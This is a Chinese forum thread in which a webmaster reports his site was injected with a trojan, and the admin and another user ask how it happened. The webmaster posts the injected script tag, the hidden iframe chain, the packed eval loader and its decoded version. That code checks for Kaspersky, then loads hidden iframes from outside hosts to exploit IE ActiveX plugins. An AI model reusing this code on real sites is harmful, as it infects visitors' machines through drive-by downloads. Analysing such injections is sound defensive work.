网站大问题了！

kerryli123

一早醒来，所有网站的广告图片全没，然后那排目录，就频道的位置全变了，不知道是哪出了问题，昨天好好的，就发了条新闻。新闻发完看了也没事

[ 本帖最后由 kerryli123 于 2008-1-20 23:16 编辑 ]

kerryli123

刚更新就被人挂木马了，哎

admin

现在显示数据库连接不正确？

kerryli123

把整个程序删了，重新改了，哎。。。。。。。。。。。。

admin

具体什么问题？

kerryli123

<script src=http://w%77w%33.d%64ns.%69nfo/%69%6E%66%6F%2E%6A%73></script>

<script src=http://w%77w%33.d%64ns.%69nfo/%69%6E%66%6F%2E%6A%73></script>
通过Unicode解码后源码如下：
<script src=http://www3.ddns.info/info.js></script>

其中的info.js文件中的代码如下：

document.write(\'<iframe src=\"http://www.59.vc/page/add_54738542.htm\" width=\"1\" height=\"1\" frameborder=\"1\"></iframe>\');
document.write(\'<iframe src=\"http://www3.ddns.info/51yes.info.htm\" width=\"1\" height=\"2\" frameborder=\"0\"></iframe>\');

上面info.js代码中add_54738542.htm网页代码如下：
<script src=addr.js></script>
<script language=\"javascript\" src=\"http://count45.51yes.com/click.aspx?id=454286741&logo=1\"></script>

上面add_54738542.htm代码中addr.js代码如下：
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?\'\':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!\'\'.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\'\\\\w+\'};c=1};while(c--)if(k[c])p=p.replace(new RegExp(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);return p}(\'1r A(){1q(i=2;i<1p;i++){l s=4 S();l r=4 S();l t=B.1o(1n+i);s.6=\"RQ:\"+t+\":\\\\\\\\P%O\\\\\\\\o%N\\\\\\\\o%M%L%1m.0\\\\\\\\K\\\\\\\\J.I::/H/G.5\";r.6=\"RQ:\"+t+\":\\\\\\\\P%O\\\\\\\\o%N\\\\\\\\o%M%L%1l.0\\\\\\\\K\\\\\\\\J.I::/H/G.5\";9(s.F==E||r.F==E)D 1k}D 1j}l n=4 1i();n.1h(n.1g()+1f*C*C*1e);l z=4 B(8.x);l y=\"w=\";9(!A()&&z.u(y)==-1){8.x=\"w=1d;1c=\"+n.1b();q=\"p\";k{9(4 m(\"v.v.1\"))8.j(\\\'<3 h=g:f 6=\"d://c.b/1a.5\"></3>\\\')}a(e){}k{9(19.18.17().u(\"16 7\")==-1)8.j(\\\'<3 h=g:f 6=\"d://c.b/15.5\"></3>\\\')}a(e){}q=\"p\";k{9(4 m(\"14.13.1\"))8.j(\\\'<3 h=g:f 6=\"d://c.b/12.5\"></3>\\\')}a(e){}k{9(4 m(\"11.10\"))8.j(\\\'<3 h=g:f 6=\"d://c.b/Z.5\"></3>\\\')}a(e){}k{9(4 m(\"Y.X.1\"))8.j(\\\'<3 h=g:f 6=\"d://c.b/W.5\"></3>\\\')}a(e){}k{9(4 m(\"V.U.1\"))8.j(\\\'<3 h=g:f 6=\"d://c.b/T.5\"></3>\\\')}a(e){}q=\"p\"}\',62,90,\'|||iframe|new|gif|src||document|if|catch|vg|w18|http||none|display|style||write|try|var|ActiveXObject|Then|Kaspersky|bbbbbbbbbbbbbbbbbbbbb****|uuuuuuuuuuudddddddd|kis7|kis6|root|indexOf|IERPCtl|Cookie1|cookie|cookieHeader|aaffdasfascookie|bIsKIS|String|60|return|41|height|help|images|chm|context|Doc|20Security|20Internet|20Lab|20Files|Program|MSITStore|mk|Image|bf|StormPlayer|MPS|lz|GLChatCtrl|GLCHAT|xl|Vod|DPClient|baidu|Tool|BaiduBar|ms|msie|toLowerCase|userAgent|navigator|real|toGMTString|expires|POPWINDOS|1000|24|getTime|setTime|Date|false|true|207|206|65|fromCharCode|26|for|function\'.split(\'|\'),0,{}))

解码后为：
function bIsKIS(){for(i=2;i<26;i++){var kis6=new Image();var kis7=new Image();var root=String.fromCharCode(65+i);kis6.src=\"mkMSITStore:\"+root+\":\\\\Program%20Files\\\\Kaspersky%20Lab\\\\Kaspersky%20Internet%20Security%206.0\\\\Doc\\\\context.chm::/images/help.gif\";kis7.src=\"mkMSITStore:\"+root+\":\\\\Program%20Files\\\\Kaspersky%20Lab\\\\Kaspersky%20Internet%20Security%207.0\\\\Doc\\\\context.chm::/images/help.gif\";if(kis6.height==41||kis7.height==41)return true}return false}var Then=new Date();Then.setTime(Then.getTime()+24*60*60*1000);var aaffdasfascookie=new String(document.cookie);var cookieHeader=\"Cookie1=\";if(!bIsKIS()&&aaffdasfascookie.indexOf(cookieHeader)==-1){document.cookie=\"Cookie1=POPWINDOS;expires=\"+Then.toGMTString();uuuuuuuuuuudddddddd=\"bbbbbbbbbbbbbbbbbbbbb****\";try{if(new ActiveXObject(\"IERPCtl.IERPCtl.1\"))document.write(\'<iframe style=display:none src=\"http://w18.vg/real.gif\"></iframe>\')}catch(e){}try{if(navigator.userAgent.toLowerCase().indexOf(\"msie 7\")==-1)document.write(\'<iframe style=display:none src=\"http://w18.vg/ms.gif\"></iframe>\')}catch(e){}uuuuuuuuuuudddddddd=\"bbbbbbbbbbbbbbbbbbbbb****\";try{if(new ActiveXObject(\"BaiduBar.Tool.1\"))document.write(\'<iframe style=display:none src=\"http://w18.vg/baidu.gif\"></iframe>\')}catch(e){}try{if(new ActiveXObject(\"DPClient.Vod\"))document.write(\'<iframe style=display:none src=\"http://w18.vg/xl.gif\"></iframe>\')}catch(e){}try{if(new ActiveXObject(\"GLCHAT.GLChatCtrl.1\"))document.write(\'<iframe style=display:none src=\"http://w18.vg/lz.gif\"></iframe>\')}catch(e){}try{if(new ActiveXObject(\"MPS.StormPlayer.1\"))document.write(\'<iframe style=display:none src=\"http://w18.vg/bf.gif\"></iframe>\')}catch(e){}uuuuuuuuuuudddddddd=\"bbbbbbbbbbbbbbbbbbbbb****\"}

上面info.js代码中的51yes.info.htm网页代码如下：
<script language=\"javascript\" src=\"http://count23.51yes.com/click.aspx?id=239507339&logo=1\"></script>



到处都是这样

admin

在你的空间上有没有查到可疑文件

haohao110

挂木马 是通过本程序还是同主机的其他程序!